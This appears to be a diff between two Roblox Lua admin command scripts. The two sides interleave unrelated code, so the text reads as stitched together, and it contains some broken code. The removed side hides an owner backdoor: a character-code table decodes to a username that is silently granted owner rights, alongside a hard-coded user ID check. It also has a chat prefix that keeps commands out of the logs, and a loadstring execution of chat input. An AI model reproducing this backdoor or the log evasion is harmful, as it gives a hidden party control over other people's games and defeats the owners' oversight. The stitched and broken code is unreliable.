321 | - | if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end |
321 | + | Capitalisation doesnt matter, and name input can be abbreviated. |
322 | - | local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) |
322 | + | Just about any name input can be replaced with multiple names seperated by ","s, me, all, others, guests, admins, nonadmins, random, or team teamname. |
323 | - | cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) |
323 | + | |
324 | - | elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow") |
324 | + | |
325 | ||
326 | namelist = { } | |
327 | - | end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end |
327 | + | variablelist = { } |
328 | - | |
328 | + | flist = { } |
329 | - | function Infect(char) |
329 | + | |
330 | - | if char and char:findFirstChild("Torso") then |
330 | + | local source = script:FindFirstChild("source") |
331 | - | if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end |
331 | + | if source ~= nil then |
332 | - | if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end |
332 | + | sbbu = script.source:clone() |
333 | - | for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end |
333 | + | sbbu.Disabled = false |
334 | - | local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char |
334 | + | |
335 | - | for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then |
335 | + | print("source doesnt exist, your command script may malfunction") |
336 | - | prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end |
336 | + | |
337 | - | local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) |
337 | + | |
338 | - | cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) |
338 | + | |
339 | - | elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green") |
339 | + | tools = Instance.new("Model") |
340 | c = game.Lighting:GetChildren() | |
341 | for i=1,#c do | |
342 | - | end if not ntab then script:Destroy() end |
342 | + | if c[i].className == "Tool" then |
343 | - | |
343 | + | c[i]:clone().Parent = tools |
344 | - | function ScrollGui() |
344 | + | |
345 | - | local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI" |
345 | + | if c[i].className == "HopperBin" then |
346 | - | local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1 |
346 | + | c[i]:clone().Parent = tools |
347 | - | drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = "" |
347 | + | |
348 | - | local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true |
348 | + | |
349 | - | local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8 |
349 | + | function NOMINATE10(person) |
350 | - | local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9 |
350 | + | if person.Name == owner then return true end |
351 | - | local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50) |
351 | + | |
352 | - | local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end) |
352 | + | |
353 | - | local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top" |
353 | + | |
354 | - | local num = 0 |
354 | + | function findintable(name,tab) |
355 | - | local downv = false |
355 | + | for i,v in pairs(tab) do |
356 | - | local upv = false |
356 | + | if v == name then return i end |
357 | - | |
357 | + | |
358 | - | down.MouseButton1Down:connect(function() downv = true upv = false |
358 | + | |
359 | - | local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end |
359 | + | |
360 | - | repeat pos = pos + UDim2.new(0,0,0,-6) |
360 | + | |
361 | - | if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end |
361 | + | function findplayer(name,speaker) |
362 | - | cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false |
362 | + | if string.lower(name) == "all" then |
363 | local chars = { } | |
364 | - | down.MouseButton1Up:connect(function() downv = false end) |
364 | + | local c = game.Players:GetChildren() |
365 | - | up.MouseButton1Down:connect(function() upv = true downv = false |
365 | + | for i =1,#c do |
366 | - | local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end |
366 | + | if c[i].className == "Player" then |
367 | - | repeat pos = pos + UDim2.new(0,0,0,6) |
367 | + | table.insert(chars,c[i]) |
368 | - | if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end |
368 | + | |
369 | - | cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false |
369 | + | return chars |
370 | elseif string.sub(string.lower(name),1,9) == "nonadmins" then | |
371 | - | up.MouseButton1Up:connect(function() upv = false end) |
371 | + | local nnum = 0 |
372 | - | return scr, cmf, ent, num |
372 | + | local chars = { } |
373 | - | end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs) |
373 | + | local c = game.Players:GetChildren() |
374 | - | if not ntab then script:Destroy() end |
374 | + | for i=1,#c do |
375 | - | if not bct then script:Destroy() end |
375 | + | local isadmin = false |
376 | - | |
376 | + | for i2 =1,#namelist do |
377 | - | function Chat(msg,plr) |
377 | + | if namelist[i2] == c[i].Name then |
378 | - | coroutine.resume(coroutine.create(function() |
378 | + | isadmin = true |
379 | - | if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end |
379 | + | end end |
380 | - | if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1) |
380 | + | if isadmin == false then |
381 | - | if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end |
381 | + | nnum = nnum + 1 |
382 | - | if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end |
382 | + | table.insert(chars,c[i]) |
383 | - | if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end |
383 | + | |
384 | - | if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end |
384 | + | if nnum == 0 then |
385 | - | if msg:lower() == "cmds" or msg:lower() == "commands" then |
385 | + | return 0 |
386 | - | if plr.PlayerGui:findFirstChild("CMDSGUI") then return end |
386 | + | |
387 | - | local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui |
387 | + | return chars |
388 | - | local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"} |
388 | + | |
389 | - | local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"} |
389 | + | elseif string.sub(string.lower(name),1,6) == "admins" then |
390 | - | local ost = {"pa plr","unpa plr"} |
390 | + | local anum = 0 |
391 | - | local tost = {"oa plr","unoa plr"} |
391 | + | local chars = { } |
392 | - | local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 |
392 | + | local c = game.Players:GetChildren() |
393 | - | for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end |
393 | + | for i=1,#c do |
394 | - | if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end |
394 | + | for i2 =1,#namelist do |
395 | - | if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end |
395 | + | if namelist[i2] == c[i].Name then |
396 | - | if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end |
396 | + | anum = anum + 1 |
397 | table.insert(chars,c[i]) | |
398 | - | |
398 | + | |
399 | - | if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end |
399 | + | if anum == 0 then |
400 | - | |
400 | + | return 0 |
401 | - | if msg:lower() == "admins" or msg:lower() == "adminlist" then |
401 | + | |
402 | - | if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end |
402 | + | return chars |
403 | - | local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui |
403 | + | |
404 | - | for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end |
404 | + | elseif string.sub(string.lower(name),1,6) == "random" then |
405 | - | for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end |
405 | + | while true do |
406 | - | for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end |
406 | + | local c = game.Players:GetChildren() |
407 | local r = math.random(1,#c) | |
408 | - | |
408 | + | if c[r].className == "Player" then |
409 | - | if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then |
409 | + | return { c[r] } |
410 | - | if plr.PlayerGui:findFirstChild("BANSGUI") then return end |
410 | + | |
411 | - | local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui |
411 | + | elseif string.sub(string.lower(name),1,6) == "guests" then |
412 | - | for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end |
412 | + | local gnum = 0 |
413 | local chars = { } | |
414 | - | |
414 | + | local c = game.Players:GetChildren() |
415 | - | if msg:lower() == "tools" or msg:lower() == "toollist" then |
415 | + | for i=1,#c do |
416 | - | if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end |
416 | + | if string.sub(c[i].Name,1,5) == "Guest" then |
417 | - | local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui |
417 | + | gnum = gnum + 1 |
418 | - | for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end |
418 | + | table.insert(chars,c[i]) |
419 | end end | |
420 | - | |
420 | + | if gnum == 0 then |
421 | - | if msg:lower():sub(1,2) == "s " then |
421 | + | return 0 |
422 | - | coroutine.resume(coroutine.create(function() |
422 | + | |
423 | - | Output(msg:sub(3), plr) |
423 | + | return chars |
424 | - | if script:findFirstChild("ScriptBase") then |
424 | + | |
425 | - | local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3) |
425 | + | elseif string.sub(string.lower(name),1,5) == "team " then |
426 | - | table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false |
426 | + | local theteam = nil |
427 | - | else loadstring(msg:sub(3))() |
427 | + | local tnum = 0 |
428 | if game.Teams ~= nil then | |
429 | - | end)) |
429 | + | local c = game.Teams:GetChildren() |
430 | for i =1,#c do | |
431 | - | |
431 | + | if c[i].className == "Team" then |
432 | - | if msg:lower():sub(1,3) == "ls " then |
432 | + | if string.find(string.lower(c[i].Name),string.sub(string.lower(name),6)) == 1 then |
433 | - | coroutine.resume(coroutine.create(function() |
433 | + | theteam = c[i] |
434 | - | if script:findFirstChild("LocalScriptBase") then |
434 | + | tnum = tnum + 1 |
435 | - | local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4) |
435 | + | |
436 | - | table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr) |
436 | + | if tnum == 1 then |
437 | local chars = { } | |
438 | - | end)) |
438 | + | local c = game.Players:GetChildren() |
439 | for i =1,#c do | |
440 | - | |
440 | + | if c[i].className == "Player" then |
441 | - | if msg:lower():sub(1,4) == "ins " then |
441 | + | if c[i].TeamColor == theteam.TeamColor then |
442 | - | coroutine.resume(coroutine.create(function() |
442 | + | table.insert(chars,c[i]) |
443 | - | local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5))) |
443 | + | |
444 | - | if obj and #obj:children() >= 1 and plr.Character then |
444 | + | return chars |
445 | - | table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p) |
445 | + | |
446 | return 0 | |
447 | - | end)) |
447 | + | elseif string.lower(name) == "me" then |
448 | local person299 = { speaker } | |
449 | - | |
449 | + | return person299 |
450 | - | if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then |
450 | + | elseif string.lower(name) == "others" then |
451 | - | for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end |
451 | + | local chars = { } |
452 | - | objects = {} |
452 | + | local c = game.Players:GetChildren() |
453 | for i =1,#c do | |
454 | - | |
454 | + | if c[i].className == "Player" then |
455 | - | if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then |
455 | + | if c[i] ~= speaker then |
456 | - | game.Lighting.Ambient = origsettings.abt |
456 | + | table.insert(chars,c[i]) |
457 | - | game.Lighting.Brightness = origsettings.brt |
457 | + | |
458 | - | game.Lighting.TimeOfDay = origsettings.time |
458 | + | return chars |
459 | - | game.Lighting.FogColor = origsettings.fclr |
459 | + | |
460 | - | game.Lighting.FogEnd = origsettings.fe |
460 | + | local chars = { } |
461 | - | game.Lighting.FogStart = origsettings.fs |
461 | + | local commalist = { } |
462 | - | for i, v in pairs(lobjs) do v:Destroy() end |
462 | + | local ssn = 0 |
463 | - | for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end |
463 | + | local lownum = 1 |
464 | local highestnum = 1 | |
465 | - | |
465 | + | local foundone = false |
466 | - | if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then |
466 | + | while true do |
467 | - | coroutine.resume(coroutine.create(function() |
467 | + | ssn = ssn + 1 |
468 | - | for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end |
468 | + | if string.sub(name,ssn,ssn) == "" then |
469 | - | local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR" |
469 | + | table.insert(commalist,lownum) |
470 | - | local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true |
470 | + | table.insert(commalist,ssn - 1) |
471 | - | box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end) |
471 | + | highestnum = ssn - 1 |
472 | - | end)) |
472 | + | break |
473 | end | |
474 | - | |
474 | + | if string.sub(name,ssn,ssn) == "," then |
475 | - | if msg:lower():sub(1,2) == "m " then |
475 | + | foundone = true |
476 | - | Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children()) |
476 | + | table.insert(commalist,lownum) |
477 | table.insert(commalist,ssn) | |
478 | - | |
478 | + | lownum = ssn + 1 |
479 | - | if msg:lower():sub(1,2) == "h " then |
479 | + | |
480 | - | Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children()) |
480 | + | if foundone == true then |
481 | for ack=1,#commalist,2 do | |
482 | - | |
482 | + | local cnum = 0 |
483 | - | if msg:lower():sub(1,3) == "pm " then |
483 | + | local char = nil |
484 | - | local chk1 = msg:lower():sub(4):find(" ") + 3 |
484 | + | local c = game.Players:GetChildren() |
485 | - | local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1)) |
485 | + | for i =1,#c do |
486 | - | Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz) |
486 | + | if c[i].className == "Player" then |
487 | if string.find(string.lower(c[i].Name),string.sub(string.lower(name),commalist[ack],commalist[ack + 1] - 1)) == 1 then | |
488 | - | |
488 | + | char = c[i] |
489 | - | if msg:lower():sub(1,11) == "resetstats " then |
489 | + | cnum = cnum + 1 |
490 | - | local plrz = GetPlr(plr, msg:lower():sub(12)) |
490 | + | |
491 | - | for i, v in pairs(plrz) do |
491 | + | if cnum == 1 then |
492 | - | coroutine.resume(coroutine.create(function() |
492 | + | table.insert(chars,char) |
493 | - | if v and v:findFirstChild("leaderstats") then |
493 | + | |
494 | - | for a, q in pairs(v.leaderstats:children()) do |
494 | + | if #chars ~= 0 then |
495 | - | if q:IsA("IntValue") then q.Value = 0 end |
495 | + | return chars |
496 | else | |
497 | return 0 | |
498 | - | end)) |
498 | + | |
499 | else | |
500 | local cnum = 0 | |
501 | - | |
501 | + | local char = nil |
502 | - | if msg:lower():sub(1,5) == "gear " then |
502 | + | local c = game.Players:GetChildren() |
503 | - | local chk1 = msg:lower():sub(6):find(" ") + 5 |
503 | + | for i =1,#c do |
504 | - | local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1)) |
504 | + | if c[i].className == "Player" then |
505 | - | for i, v in pairs(plrz) do |
505 | + | if string.find(string.lower(c[i].Name),string.lower(name)) == 1 then |
506 | - | coroutine.resume(coroutine.create(function() |
506 | + | char = {c[i]} |
507 | - | if v and v.Character then |
507 | + | cnum = cnum + 1 |
508 | - | local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1))) |
508 | + | |
509 | - | for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Character end end |
509 | + | if cnum == 1 then |
510 | - | obj:Destroy() |
510 | + | return char |
511 | elseif cnum == 0 then | |
512 | - | end)) |
512 | + | text("That name is not found.",1,"Message",speaker) |
513 | return 0 | |
514 | elseif cnum > 1 then | |
515 | - | |
515 | + | text("That name is ambiguous.",1,"Message",speaker) |
516 | - | if msg:lower():sub(1,4) == "hat " then |
516 | + | return 0 |
517 | - | local chk1 = msg:lower():sub(5):find(" ") + 4 |
517 | + | end end end end -- I really like the way the ends look when they're all on the same line better, dont you? |
518 | - | local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1)) |
518 | + | |
519 | - | for i, v in pairs(plrz) do |
519 | + | function findteam(name,speak) |
520 | - | coroutine.resume(coroutine.create(function() |
520 | + | teams = {} |
521 | - | if v and v.Character then |
521 | + | if name then |
522 | - | local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1))) |
522 | + | for i,v in pairs(game:GetService("Teams"):GetChildren()) do |
523 | - | for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end |
523 | + | if v.Name:sub(1,name:len()):lower() == name:lower() then |
524 | - | obj:Destroy() |
524 | + | table.insert(teams,v) |
525 | end | |
526 | - | end)) |
526 | + | |
527 | if #teams == 0 then | |
528 | text("that team is not found.",1,"Message",speak) | |
529 | - | |
529 | + | |
530 | - | if msg:lower():sub(1,5) == "cape " then |
530 | + | |
531 | - | local chk1 = msg:lower():sub(6):find(" ") |
531 | + | if teams > 1 then |
532 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
532 | + | text("That team is ambiguous.",1,"Message",speaker) |
533 | - | local str = "torso.BrickColor" |
533 | + | |
534 | - | if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)) |
534 | + | |
535 | - | local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]] |
535 | + | return teams[1] |
536 | - | if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end |
536 | + | |
537 | - | if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end |
537 | + | |
538 | - | if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end |
538 | + | function createscript(source,par) |
539 | - | if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end |
539 | + | local a = sbbu:clone() |
540 | - | if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end |
540 | + | local context = Instance.new("StringValue") |
541 | - | if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end |
541 | + | context.Name = "Context" |
542 | - | if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end |
542 | + | context.Value = source |
543 | - | if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end |
543 | + | context.Parent = a |
544 | - | if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end |
544 | + | while context.Value ~= source do wait() end |
545 | - | if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end |
545 | + | a.Parent = par |
546 | - | if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end |
546 | + | local b = Instance.new("IntValue") |
547 | - | if BrickColor.new(teststr) ~= nil then str = teststr end |
547 | + | b.Name = "Is A Created Script" |
548 | b.Parent = a | |
549 | - | for i, v in pairs(plrz) do |
549 | + | |
550 | - | coroutine.resume(coroutine.create(function() |
550 | + | |
551 | - | if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then |
551 | + | function localscript(source,par) |
552 | - | for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end |
552 | + | local a = script.localsource:clone() |
553 | - | local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer |
553 | + | local context = Instance.new("StringValue") |
554 | - | repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso") |
554 | + | context.Name = "Context" |
555 | - | local torso = plr.Character.Torso |
555 | + | context.Value = source |
556 | - | local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false |
556 | + | context.Parent = a |
557 | - | p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom" |
557 | + | while context.Value ~= source do wait() end |
558 | - | p.Size = Vector3.new(.2,.2,.2) |
558 | + | a.Parent = par |
559 | - | local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5) |
559 | + | local b = Instance.new("IntValue") |
560 | - | local motor1 = Instance.new("Motor", p) |
560 | + | b.Name = "Is A Created Script" |
561 | - | motor1.Part0 = p |
561 | + | b.Parent = a |
562 | - | motor1.Part1 = torso |
562 | + | |
563 | - | motor1.MaxVelocity = .01 |
563 | + | |
564 | - | motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0) |
564 | + | |
565 | - | motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0) |
565 | + | function text(message,duration,type,object) |
566 | - | local wave = false |
566 | + | local m = Instance.new(type) |
567 | - | repeat wait(1/44) |
567 | + | m.Text = message |
568 | - | local ang = 0.1 |
568 | + | m.Parent = object |
569 | - | local oldmag = torso.Velocity.magnitude |
569 | + | wait(duration) |
570 | - | local mv = .002 |
570 | + | if m.Parent ~= nil then |
571 | - | if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end |
571 | + | m:remove() |
572 | - | ang = ang + math.min(torso.Velocity.magnitude/11, .5) |
572 | + | |
573 | - | motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv |
573 | + | |
574 | - | motor1.DesiredAngle = -ang |
574 | + | function foc(msg,speaker) |
575 | - | if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end |
575 | + | if string.lower(msg) == "fix" then |
576 | - | repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1 |
576 | + | for i =1,#namelist do |
577 | - | if torso.Velocity.magnitude < .1 then wait(.1) end |
577 | + | if namelist[i] == speaker.Name then |
578 | - | until not p or p.Parent ~= torso.Parent |
578 | + | variablelist[i]:disconnect() |
579 | - | script:Destroy() |
579 | + | table.remove(variablelist,i) |
580 | - | ]] cl.Parent = v.PlayerGui cl.Disabled = false |
580 | + | table.remove(namelist,i) |
581 | table.remove(flist,i) | |
582 | - | end)) |
582 | + | |
583 | local tfv = speaker.Chatted:connect(function(msg) oc(msg,speaker) end) | |
584 | table.insert(namelist,speaker.Name) | |
585 | - | |
585 | + | table.insert(variablelist,tfv) |
586 | - | if msg:lower():sub(1,7) == "uncape " then |
586 | + | local tfv = speaker.Chatted:connect(function(msg) foc(msg,speaker) end) |
587 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
587 | + | table.insert(flist,tfv) |
588 | - | for i, v in pairs(plrz) do |
588 | + | |
589 | - | coroutine.resume(coroutine.create(function() |
589 | + | |
590 | - | if v and v:findFirstChild("PlayerGui") and v.Character then |
590 | + | function PERSON299(name) |
591 | - | for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end |
591 | + | for i =1,#adminlist do |
592 | if adminlist[i] == name then | |
593 | - | end)) |
593 | + | return true |
594 | end end | |
595 | return false | |
596 | - | |
596 | + | |
597 | - | if msg:lower():sub(1,7) == "noclip " then |
597 | + | |
